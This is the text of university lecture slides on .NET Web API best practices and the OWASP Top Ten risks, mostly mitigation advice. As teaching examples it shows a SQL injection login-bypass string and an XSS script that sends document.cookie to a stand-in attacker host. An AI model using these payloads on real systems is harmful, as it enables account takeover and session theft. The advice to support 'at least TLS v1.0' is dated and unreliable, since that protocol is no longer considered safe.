Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
Introduction to .NET Florin Olariu “Alexandru Ioan Cuza”, University of Iași Department of Computer Science Agenda Best practices in Web API’s Securing Web Applications Best practices in Web API’s Semantic best practices Technical best practices Best practices in Web API’s - Semantic best practices Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Best practices in Web API’s - Semantic best practices Think nouns, not verbs. GET - http://localhost:16991/v1/cities GET - http://localhost:16991/v1/cities/1/poi POST - http://localhost:16991/v1/cities/1/poi PUT - http://localhost:16991/v1/cities/1/poi/3 Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. DO DO NOT Use GETs to get data. Use status codes in a way that is not expected. If returning a set of objects, don’t return 404 if the set is empty—return the empty set. That’s what people expect. Use PUTs/POSTs to change/add data. Use GETs to alter data or PUTs/POSTs to only get data. Pick a few good status codes to use consistently and use them consistently and correctly throughout your API. Use every status code that tangentially relates to what you’re trying to tell your consumer. Use error messages to describe invalid conditions. Use the same general endpoint structure throughout. Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Versioning Web API’s Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Versioning Web API’s [Route("v1/cities")] public class PoiController : Controller { } Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Versioning Web API’s. KISS. Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Versioning Web API’s. KISS. Don’t expose more than you think needs exposing. Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Versioning Web API’s. KISS. Don’t expose more than you think needs exposing. Don’t use 43 different status codes. Best practices in Web API’s - Semantic best practices Think nouns, not verbs. Be consistent. Versioning Web API’s. KISS. Don’t expose more than you think needs exposing. Don’t use 43 different status codes. Keep your DTOs simple. Best practices in Web API’s - Technical best practices Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. public class Poi { public int Id { get; set; } public string Name { get; set; } public string Description { get; set; } } Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. public class Poi { public int Id { get; set; } public string Name { get; set; } public string Description { get; set; } } public class PoiForCreatingDto { public string Name { get; set; } public string Description { get; set; } } public IActionResult CreatePoi(int cityId, [FromBody] PoiForCreatingDto poi) Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. Validate everything. Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. Validate everything. public class PoiForCreatingDto { [Required] [MaxLength(30)] public string Name { get; set; } [Required] [MaxLength(200)] public string Description { get; set; } } Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. Validate everything. [HttpPost("{cityId}/poi")] public IActionResult CreatePoi(int cityId, [FromBody] PoiForCreatingDto poi) { if (poi == null) { return BadRequest(); } if (!ModelState.IsValid) { return BadRequest(ModelState); }…} Best practices in Web API’s - Technical best practices Use DTOs to move data back and forth. Validate everything. Keep your controllers as thin as possible. Enforce separation of concerns. Separation of concerns means things are testable. Securing Web Applications Securing Web Applications Injection Broken Authentication and Session Management Cross-Site Scripting (XSS) Insecure Direct Object References Security Misconfiguration Sensitive Data Exposure Missing Function Level Access Control Cross-Site Request Forgery (CSRF) Using Known Vulnerable Components Invalidated Redirects and Forwards Injection Injection SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger' Injection SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger‘ Injection SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger‘ SELECT * FROM Users WHERE Name ='' or '1'='1' AND Pass ='' or '1'='1' Injection SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger‘ SELECT * FROM Users WHERE Name ='' or '1'='1' AND Pass ='' or '1'='1‘ We can preventing this by using parametrized queries and input validations. Broken Authentication and Session Management Broken Authentication and Session Management The following are the most obvious loopholes which can leave your application vulnerable to this threat. User authentication credentials aren’t protected when stored using hashing or encryption. Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs). Session IDs are exposed in the URL (e.g., URL rewriting). Session IDs don’t timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren’t properly invalidated during logout. Session IDs aren’t rotated after successful login. Passwords, session IDs, and other credentials are sent over unencrypted connections. Broken Authentication and Session Management User Logins Always use encrypted forms for user login./Validate form input./Avoid using remember me functionality with mission critical applications. Provide users with a logout button to manually terminate a session/Consider supporting third-party authentication providers such as Google or Facebook. Password Policies Provide two-factor authentication features/Expire all current sessions after changing passwords Notify users of password changes via email or SMS/Ensure that passwords have an expiration date, and force a reset when necessary. Implement strong complex password requirements Session Control Use strong random number generators to ensure you have a sufficiently long session Id Store session ids in cookies and never pass them via URL parameters, hidden form fields, or custom HTTP headers Use standard frameworks to handle security rather than writing your own custom session management systems Set absolute time limits on session identifiers to ensure proper session expiration Cookie Security Store session identifiers in session cookies rather than persistent cookies./Set Secure cookie attribute to ensure such are transmitted over secure connections./Set HttpOnly cookie to ensure scripts cannot access these cookies via DOM object. Cross-Site Scripting (XSS) Cross-Site Scripting (XSS) <SCRIPT type="text/javascript"> var adr = 'http://www.evilWebsite.com/cookieGrabber.php?cookieInfo=' + escape(document.cookie); </SCRIPT> Cross-Site Scripting (XSS) For all user inputs, use a whitelist validation approach as defined above in SQL Injection section. For all user inputs, use blacklist validation to filter or block any known specific set of untrusted code patterns Consider auto-sanitization libraries like OWASP’s Java HTML Sanitizer Project. Explicitly define character encoding and output mime types. Turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via JavaScript even when document.cookie is disabled or not supported on the client utilizing the underlying asynchronous HTTP trace event triggered by the system to collect client cookie information from the server. Insecure Direct Object References Insecure Direct Object References To protect against this threat, the only viable solution is to secure objects via access control. The logged-in user needs to be authorized for the requested information before the server responds a query even when the underlying session is preauthenticated. Security Misconfiguration Security Misconfiguration Ensure that all components such as the OS, webserver, app server, load balancer, database etc. have the latest security updates. Disable all default accounts. Set the server-side directory permissions to least necessary that is required to run the application. Secure the log files and ensure periodic audits. Deploy the web application with only those modules that are actually required. Ensure that you have authorization controls on sensitive modules. Secure by an Access Control List (by IP addresses) for restricted access on the server file system. Perform a periodic web-vulnerability scan. Sensitive Data Exposure Sensitive Data Exposure Do not store sensitive data unnecessarily. Data that you don’t have can’t be stolen. Disable ‘autocomplete’ on all forms that collect sensitive data, and disable caching for pages that contain sensitive data. Utilize the SALT technique in creating password hashes. A salt is random data added to the hashing process to ensure that every hash of a password produces a unique result which would ensure that an attacker must always compute the hash in a brute-force attack. Ensure that passwords are stored with an algorithm that is specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Ensure that the transport layer is secured via TLS. Avoid SSL, which was used before it was deemed unsafe due to its significant security flaws. Ensure that the application supports at least TLS v1.0. There are upgraded versions up to TLS v1.2 available, which should be used when possible. Ensure that server certificates are up-to date, and ensure that you use standard digital certificate providers as mentioned in https://en.wikipedia.org/wiki/Certificate_authority, Missing Function-Level Access Control Missing Function-Level Access Control Deny access to all sensitive pages and functions by default. Consider role-based security to define clear boundaries for user access and re-check user roles every time before allowing access to sensitive functions, data, files, URLs, and services. Centralize authorization functions and policy management. Always make authorization decisions on the server side. Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) Include a unique unpredictable runtime generated token in a hidden field for all requests to the server. This causes the token value to be sent in the body of the HTTP request and avoids its inclusion in the URL. The server would then validate such token before executing the request. Require users to re-authenticate when performing critical sensitive operations can be another measure to prevent CSRF. Have strong measures for re-authentication such as Captcha, 2 step verification processes to exclude BOT activity. Using Known Vulnerable Components Using Known Vulnerable Components Before you use any third party libraries, you must be confident that opensource developers on such apps are carefully vetted and there is a detailed security review before they are used in your production environment. Stay up to date with all reports of vulnerabilities via mailing lists, RSS feeds etc. and check on all possible repercussions on your application. Do not disclose the version numbers of any software components anywhere on your application Invalidated Redirects and Forwards Invalidated Redirects and Forwards Consider adopting a single-page-application design, where the underlying navigation URL is not exposed to the end user. Simply avoid using redirects and forwards. If used, don’t involve user parameters in calculating the destination. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user. It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL. One more thing… One more thing… Rules of Optimization: Rule 1: Don't do it. Rule 2 (for experts only): Don't do it yet. Bibliography Pluralsight Questions Do you have any other questions? Thanks! See you next time!